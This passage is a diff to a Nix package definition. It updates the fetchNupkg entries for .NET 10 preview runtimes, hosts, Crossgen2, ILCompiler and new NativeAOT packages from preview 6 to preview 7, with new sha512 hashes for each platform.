+        hash = "sha512-/SiUD5N7pwkJ4mK83CBkre6oOB76BTJ7lJUTDDw3t8F6HUJS+3i6Cx9sODd7BS7TXXA5ahql2gcfohVsaFsR9Q==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-zTiRlyK4ElT/MES3AX1bLRcuX3lY3NXlwL89YTyEjuHrqjCpxEbHfsoznqYd7zLAF1itzvNnxDkqDPoXat/zZA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-WKqXIohGOzMUpDOsAEpknxj93fSuTzSdP7X/Ud19dggmqwPKMIWN5NZpWlBLdyP8+NMwLyNM/aR4uCtNf7MT2A==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-sSi6F1x2UVJe5Jp8RbURsNGVxFFPyxq6P8ZlV6r9dimYM2KkDyEOtcZ0hHSOtmMU3rghzZYksvSKv7+9fAYUNA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-GQokK1ugeF0JQi0IfkyNDm5nIVCKpH6V8zSskBRSAH8O5U4iVImpDkqBg1icxUFIAaVyiMi6GJB0CkTD2cC+yQ==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-Qj4yn5t5k+lGY8dBPwh0jLQOXoilcVvwpmyxJp8LJHoOM8EmGjRoiCy68sRXGTQMt5d3iNIdV93rX+fXu20rlw==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-X15A3yBhigC8T81Ut1Zqqay9HzfCjjwLh1QDbHL2XggIWiGzkDf4hSX7qnkbki12DdFZP5p0xDFiYsnEBTGNgg==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-b26YbRN+y0LrdVq32iV7gUmi8sY4vY+P8GvaqiPTcJBH20OSfrsvDhyM08qMs6hCDo17xL5hFdLt9BSBfqcrOw==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-vNMheP+ysMxIiINElw4ebu7O8KHDz+l2dYTlP9zfBllo7eJW3XX0k7kOP0nYke78KFhheXu2JUHAAEZVhazOUA==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-IoNNvrZ/pKBwn/XSvDp1saM2XHk1ZOKxrA4lDyrL10/s4IS8hRo/Yv3qs+ihWpwVStORW3lh0YIxQhMDHbMkzw==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-478qsicUIxQcpq/UGGoNNLRbUldl34RRZqxDdRl1HqC2D4aUdCpR3MEU5vd0zcbHxkegfPfgQgsv6xfIt+k/Ww==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-/D+xqMtDuo8ji4FPJm5EsEORBGEsbcHHYIjZDiEHP7ltIexg/oOSwuyvepvV+mK46Q4uyQU9zuBVZaG5FdKU0Q==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-fDGfrQnqXasfMLIUs2xVvLNxWjN0w7HypZ22wYG0y8PkN8u3vpVIQz9tYgUgEXvxKpFLYq1L2EcxksY6reAWug==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-kEXLQCzNVAnwkQ58qiO7lUOuO6WJSMlNmnQxx5o1RTiMIoqrgfjMazn5bpL5DPeZjMhWcB4kary/3Vkj06xRtA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-WE52ljXg7k8/ry1wBJ7lqrKniEZgwpMtuf7m82tMtuc30k5X+1nAbOa2evezPgjsXrB3k78uertzT+GoSRX/fQ==";
       })
     ];
   };
@@ -160,361 +160,416 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-z0RiU5O+4aelPS7+JYakKFXrmczOzTYp5sptrRoz8H2zM0Tbvwc7sX3pT2F5ZosBEaub37XJKrwSdvpdHoe6/w==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-TY4LXwPBf9d0vOpzCkV8Ze9e/Tnn4V07FkSctLB6Vc6XreNkVqEQcB1TuUQZOFc7pXBvpImRAD5mAfuLVNohDA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-CRQl1RVkbfaLnYOEO4ApZ6Py1OG8zJjwU0UkAcIhg7MqsGgZcathISOzlDYayxqdbp+Gga21aaJJZbL0TSPkdw==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-UBWg0zDyYiiy3wXtxmRqaoAvi2hpXGGJ4VxoKcqgD927ftcYXz80g5dFDtk8zof3CVnfXHgaDCm40jxOrYU3qw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-UjSZtTgg1EEmNJeI+Esg2pMNjSb+lCy0VjwkUIVUJA6vezRNsb66NjsO5h4rvSMS2VhoKWGc7jbNV1AKRj891g==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-ZHAexbNsU0DMvR9vVqYldw9m+wyqLM5AVZyx6E6Lgk5JzjgDI9rFfDI2h+UGi1WOJyKPDKrjyLWG5phtGC6ytg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-h8mVEj/5JRPzKcDpoHvnQ0wt7nn7+euuPKLDtWH4yiAWztH8CX6udfHqjIE103USfpfMKEEcEWRqOe877rgp2Q==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-HmKdrzhgbW4ikm6lKWgaBm5OokH7aPyGuaniMHvRKnHSeUxDYMj2PU/ZSIlIxTntxELeTBd+ZcJlknJqR7Duuw==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-arm";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-3WlHMaSa60X/owt47VYhN/RYy/98jKjoQtzW/FoZUfc0E3aCN3pJeUGbEq9NrNLfu0XbEriwTuwVG6zyI0rr8A==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-rXmRirmXSlmvrc4lY76+eK6UoXIi78sUSDggleEYs6Mwip1PWWQ1bg2Bi3tpxcRgF1MBOgHhiz37lybWaS1y7A==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-bPfmwsqmA39Vfa+Uu9mH1eaCJZo/qd+/O0aOYRhjSrypYBQK2AIif8lq7zYxhOR2U5AhvkkeqLNnaEC3spTHiA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-sw5cXyvNbbXyDkmnPJqNgSnOeDFdl9VL7OfA4kA2GcPCujXhnElVmF48rwibVtoYmDUe940zKPjUAeuXmmOH+g==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-OSpFCcAHBwfDK4bY6zNDfbtY+fKY6koEgvfVyk6OtdUI+dOM/Jjw9Kyxiqe1S8JC5dm3366+AFdqF2ZWbMW4fw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-BYeSSlt4ck/kK7L9I+OYdI+aklnF9JDNaHyIQ+nea+E/e6qqENxlgDPzJKwTKAX4XdIF7Rc/Gk14PuYBpC7+Ew==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-gFoRuWxJUSjqz8meGfPQhK/xI8LXK0/z2mOiVWfwFBO1lMuPUWFrzlUvoPBHhZSYj7578iHtUog8r/tnnK6+Bw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-poxX0QwFAsVfHDfH85V0BVd5dEtlhr+/3rPhCe5qhkFscmUM31BcD1ABbzdxYt/PRJKnKMCCA/tOHhMU5rUieA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-BLvup3LOAkOw5G/xJ0j9pcTNNQuPLibW0u5bTVAmMYYZny8b39xNWWVqNQ8Rl5jewPko/8luoany0SbHZ+GUpQ==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-arm64";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-koC5WN2WuOaApo6XSGjcdWKUhR94/7vZUiQZ9XKemdGJ2rpjgAhGvdQr0PcNqyTUDd+vC6LOsWjwwqg2GSHYnw==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-kPsplrPdJ9VmThmB0kXTumkVG0WikMbkSRzGVyNU/Ploa9Cvv80PnCxF5VBAqRV1l/l3qBq9TZQV+7c6mIef9Q==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-2NeuUX5T7ZRuc76byZXf7cLXYTK5fGufEbrjEXRlBMXyI+vQ8x+6BR+hbqef9JGylT8pcLv+xL11Gx39vk2KmQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-LOoGtTUAg4/m9912v1s4yvh/wx64gRW6+052ZpHphizEbI/mvy5MGZpxS/WQHX34+RDXIG90CpdT7caL5iC1JA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-iZO21GJ4K+PjcH9Gn/OUVQrBkkfCVCifO+PsQItVuWuenEOwAShzCfz8E5icd/INLIosoriCyRV777jpjxHZXg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-t10QcEDpbrSvoe2BhUCtqOAqfXayzy9uujpiIeAdOyptGmBppA37G+F4cCRsIx6wzhCSrdPkYoh1KzD4rqqlyA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-SAKw8xQa/VBWOumG7JmId0UIKUs2RM8tnl3KPXJ85mjnrrP3wJLWynNf6v/hMxdxqjAOIb2Y6AIGwK4zFzA97g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-ykHn7VUDn711h67XQd+nx5Tn0L0vYWQY8kKWqqTXm/mBEM5CjoMd9qft6jirusGORVxC5RAnUENDt5n48B4xfg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-PTVNAmlIQRHnMCcw8Pm5+t8eLLtwyZ1J6lUjTcZ68dU9FGXIySRr750lekvMpBugMjmXIsNw0VQvg9AnL5SIDQ==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-x64";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-cMnylrJR3P9phPos6bJJDinj8YO7eSeYxUijvcDHhGPXXzpD2aTZh2anv7WOSB84I21xKCpyjjgdhcdPgTCyJQ==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-6G+05BJAEjErJMixdkEAndBjgaCe7WmasdRypKPtYRfzvPVExrq/nak0ZiaJ0Dd3WuYdbi69Qyeuhj7atnAImw==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-VbIqcklAsQYAAV5CTXo/6NAa6lkirCeh1XF7Yo2D6xZmkwLbQsKfNF1jpiwYr6luiVwJCkIA6p/owsPAZT42gA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-xjepU2UUYCP30YJHPdX0PN6C0ZqP2RKAEsJWpnNSlYQ8fcDHgy+l5ZTQPBD4egfWKlPCEtgSZod3p9nTggSoDA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-H5a0wdzBU4tWXtTkYcgHsezWolqD59sDLSlDdOGE/OF7p3X1AijCo1BKCb/ub+Qn24dXoS7RGQf4TwmPP/fDdw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-NORvYn5NilmBCZzLwrWXEPI7WeEKKwIHzh5USjQHQLsSoiWcOSZVKQLkqK2baSFjGktLyHmHRUQ6VnTggDuPeg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-DpKE33FA9NYJXAY5SbKcIfAvU5RyH30YqhCXxHi/NYfEcR6e5hrzn4992S6TpUQzeYHeJHprfXEQGK+x8bWTqg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-tMM7GajJVqT1W1qOzxmrvYyFTsTiSNrXSl0ww5CYz/pKr05gvncBdK0kCD9lYHruYMPVdlYyBCAICFg1kvO7aA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-prERCrIwyGg735ahEDi15HwriaDnwZlQidlFkiDSOuh4EJTXLqbYvwJxSygCNIgKAivNEwt5HuqAR0WxIzxLJA==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-musl-arm";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-SvUcMwIUDjSW7wIrQEChlhqEmSWIhruBP6pfvPaWu6WI4n9X6PtPvqyJp5dza77GATyc5i9sjECy8HNxRro07w==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-wUU31YeB3hCc41XTTSXbhuYKKSbFv3rQb4aO0d93B1m8xPZfUpYA121ysuwaaiPgHvFK27wfYBHAAO82d1Tbsg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-gI8nk0A8LtN/NXufax5tgmoxnAFvG9SUA+yGfBz82HlAvwZkWeQsNjZav06LsIdBgY+34oJqPfhGFWki234b3A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-eQ28Igd0kDwNnBeaXvQul2U4Za4KTkBJ2hF5gi6/8xL8tJAIvpSiuHrcspBB7oqr9/uOU6R4eR7gDmOH0OVRaQ==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-6deTINJifUd+6BioAPScqa94hbH35wweO3UazZ0Dob4GFoSxD/z7jUjRIib/HmyhXz+F/QMOZapPNN+qNsmEPg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-zHJSkQl00ygE1BBWjjSZgQmT+rpX/ZoNvU3az2Vfk0D9tqM4+zQ0M0IdBw0Eu1Wr46LeifWIScp4pTvzBB0R/w==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-T93T3DT3SakSQcwaB9SFTT6R38hEh0/52bM+4IqvFAo1EAKx3eXiKezE3bMSjOGKHxKzb71Rp1d9Jflv6capLQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-RaDmfdtde+m27g31HXvBUJme7NUUT07bv5+Wp3mPH/FXE6tT8W1DvG9XNRcT2rIEDq24ktpfyBiNbN8fieBfqw==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-dnHqxZvkLe4SubfrXiPhb08qkj2FOrdCBWLHo/Hd+pSop3C86rCTRJY454LrPwjnktjnQf/X0b4anadwOkckrg==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-musl-arm64";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-ewu+rh/Kky08pqSvyC33WsqopzmUojhx4NZRn5bFF3pcO0xbdhOEBuZR8ZQspXA2tuKL/n9bAKWDIPsVdDMdyg==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-723qKUmFeBKN0yfsf9zhP3k5ZKqK4UYvdKbDL80oyhzm4gQZ6tsUU4fHeHjJVJfqyN+wKS+R0WthyxhA9m07/g==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-8r/yMsXff3vlFUaRzlHKnkd/qxmbo6FzATU4d065j8YTNZcduF/uKiOKijwXSd96nj216RjCUIJWrcH72c5H6Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-hPcjYztP9miyYl+mqvTqoEqaa+fp+kCFVrROIwUEDBMNs6Urk76qsWJWE/uI9kLBh1zTHiDsWlXDiOXcftVBxA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-D6qubx3bzbfdDMJw1CcUJdPR2w2oHmOt/ur4q4Pi8cdFueROux3u2bcuurKmx2eZvHhYVKnL1njTxWDVHUM1OA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-IG7yOIrrLUvA22aUGR7g9VtXK3WGCsID9TokGqET+LoO4QTLlFRYjbrsUkvttuGUHftOTgDh+4abzkcqaTfd6A==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-neXYzUGCn4zBhHa4+9NgG6c0ulwsfGczrrH2hqJcwf16fNtBgfe9L+JnwRctrVVe7iOci/qYh69c36OlCsREug==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-3PwE2oDr4+n93nPZbHz1kgJkpdus91UR5IXKnMWMMxcEq+VgNvNpU4+M+khwPOXSmxK9LY6dsd9beQVIFtrDVg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-D8SDjyznO8H+3w5eAuL1pl+JZ+4S8eXM8gIMuNaDXvBZv43lU2by27Gk+Ue4eH5zV+462fBtBvqZtaETgfPsgQ==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-musl-x64";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-zPgYi5k0qLWv1+BGxMmZnNplAa6tAnTpibzsSQTCcSmLJfazFww4sRI4qFYZ+H8/Tc1jVyIPHu3whUL3UirX+w==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-QVYtaGiLQ0bWTiav/cc2Ps+PQ9co8EmTW8NAzlf835camz7gdjZHKo5/z4FOVUHVftCY9vn2yBuBcwceI6f+Bg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-vk6trHjpJkCveABOceuodbxeAefojPqaUCGwU6HXinNgu281I/iEF7Afj6mJBLHxaPcvlFQjAjbRhll1SwcSNw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-4ktCvzYslGK2G2CLPy4As8rbHGPtQw0RA5VC9WxRmRpDH/3cyicFbRaBRVc2y19p0tV9nMC9KdaFyptm80lQZg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-r1LB1Ilq1/Pf71SubpoHU53s5bjfHY/TLQUhG2R3AGFMe1S2J6H35pkXuCdwBH+x99AX4khX1zw00BCYP5liVQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-MPUbFdcUXGrfUpdNmcPvq+EdaBLcl+4+nsbUwftOT1041DpIUkFfDzgWNWVMjPG3Prf3K0iKPtvdKx9bdUlq6A==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-ovDMqhvYv4o6P/AjvAh26EcSs6auYHe4YBgWF7SBLgB/r1xOvjlRZRuVL7znu/js0CwTH7h8w/YvW+q1+Tzw/A==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-CtxI7P/Il0bLfPXN6ofeL4Vm4ISp3TjvRBZt8MkACaTErFseNiwIIAKNqZ+d9lIxj1MDGA5fCfVn/0PsGIksRg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-K7jCpNm0lYr/dHheLoaPadsd9q8oQ0X+iK/rJkeKrZ76FLzAvcC1FqX9yXICwAW44m63bXcmg0ggra1+yXx0/Q==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.osx-arm64";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-HAloa6WZYn4LvTyANZMWs9l5q8NR0Bqvs7pGKKarpE2JnmlH7R371+nMg20Ejxw9UYp0SNNZ775dw83G/WX/oA==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-p18BC5bG9/0ktSBUvxZOqPpr9qkS0Z6G71GViCAzjtV+fBllt6OE7T0rSvOZ14FjZFcSqMA2HZ60I3H93cK6TA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-R7g8lya69aqDY/iAIIoX8TnbxEJxBIxvuqD0zrcEuJgRh33b2xys9OAT2NmyZH3GWdTZ5UPiolJ2SifKNE1ztQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-T9Rhlb0Ivsaev2JNEKRLRoc5pyowBy+meS7GzijwfHOEviRw2rMpPNK+8DoygI8HRetSnjLghMlzdcfURF10LA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-tPbKNB5TVRIAHyts6RMV2AP7pnmO/1MRtfTByCqTkTjH945dJ8+2r4ytMIoQ3ooVLi00yll9w2tDL+XnuNT3xw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-7SI6G+CVFjxrcgJny64fmvOp4Pz02EXrhlKJdEKoht+enh8c/1pY55cgR5jq9GWJ9iJNtV9/sDUiADK74NWWKQ==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-W18K405wGThiTnn12Mi0K6KXznjPZX87mX9APiq+nbKIsMmGC+r7cyIPgy9hmggnTb3qqv1p/0PACRD6NXm0CQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-ui1NVLgK7tEN1Xv+MO8FRovfg1OR4sKGf5GXHz2CN88GLkzznp5m9sSAETN2IPueRV+aaQ8JFaLEEw1QOdlh2Q==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-K7fKG8YuufAgq6VcvotJH/D4uHmcjg/X9TwWq8EmbyysqyNCuMkg6a1torpyaomdooKSZ0LSOodqbo57B6jERg==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.osx-x64";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-AAcenMQyUXqNewaFwVv74m4OyOy4DH/seZDjjmMtE6BcYchYlWjJjU7Dh7lR3qk1KFuRBdeIvLHpGUZS0+GcqQ==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-kTwrqjATCL5woNksB+G2B39lOIUkxLnouFruipzLnsDKSxG50pKIhxWUkrwTfwatL/zQasE+aVlwEfSQAxQteQ==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-alvGXGuLfWb35dOybu83zGbH9VyIJRf17FEhF6yrNGvg8gJ3SwpU/N2uGnuxI1TIb8dFlKq3FoE2hqfxWAERKA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-86sGYDN7tFGBhAUacYgosah0TTIMT1czQtKHb6vKXOGo1wWAYa+MsGXrdUA6o3rpvybL8rbRANQ1tarIfui4Bw==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-8345qvf7b3Q8hoqXErpJTWQeLmBV3GFUNa/hp8eCglnY5WWbnfd/muQAdA5zUoOX/8fMA4TILhZx2K0M8k1/mw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-VkXVbi8EbajQYu5pge5VCXxWGhHJtLivHM+rqHt78b8w2IpYfRACV7lqEU1COg9D3sZEG5oLOzKLCCN7lSiekA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-um95x3i3Jdyat4T6HTXP9I0STmsqJyuTWmZwCg/5EPNWMX1fm/OIFIoUQ9lX2kplPyq6Ys0hmiBaVcHOHGThgw==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-CUdm0Uw4kGSk6oVm8QZLSwxngMFmbNoiFXve2hT0/Csu4mJe6ttV8C/Y0VLPBJr3GmoovOzMeH3coQfEf2YvBA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-LneCr0cNCIEYVfDI2Ab++j+baaKut+pqTsCb3R9FAp9pqYVXveSEXn8V4xx+N0i//SQx4i9Dkd+oYGERun9k2A==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.win-arm64";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-xgYN99ynL4a37SaZebTPpeiui+2OVxCHFfPrW5vBoqoHLvAxhM67ZpqAY3zQELjS4Kb0ZxsLfOS4OPFKbcweSA==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-kV1DnmxJrCauIvUfNe4wC4Yi888dzxxf7sYT4W/apnCSHvcjueYEZOGtoLSirsJJrn5aj9OeFVz+bAbd9nurxg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-xr4GBhH7aIMfPXjv+CuGZI3h1PZc+yETwn3/9UMOXXNxgM1zrkCR1p4I8rQNpwVPd440P8pReq2AWrdbLX7kTQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-XsP6i0SHVuDjS0IWBC+/3QXDJO+3ARuFbPSu9fRjR5NkK5/A4lQpBWJRymTzqWHzmD0DLYMEfwR+3mdG2A/StQ==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-slvRNr3ZPyyGLrOFEPVF91TD6BJcC7/UKrowVg0XGq37IxTeicrNLhs7PE8qmVGBgUTiKcqxEU7DXI2/qBh9nA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-UsW6m9/wuBUWM8SU/PHsn+9GQMRp4i00KfWDzE/s6rnCs40WRvy5Zcj923XMy05Bt04dhSrOOmDR1/vkydaysg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-1JBZRsQMZ4mCN0rS+F6wwP7s7+es+uwx6hG9ubUuccJYjCEAWwDg3vBVAbQqwMOF9rdbqOLFbkbvawOT7BHAaw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-Btz15yrqllW8cQ82bDOMB+fo1ONv4j+BvpZGQTt4zwqgyxq3qznnxVHrMxiG+UUwhDlD4ajCGYuZCjHECODTHg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-8fiTrOmlVMojv2oFxSO4zKP0Mz+3HazxfqBFBbgioN+/dMNiCa6ql3Sm0kp88Qmfcb68PwhWCJLy3x3XHLEUuA==";
+      })
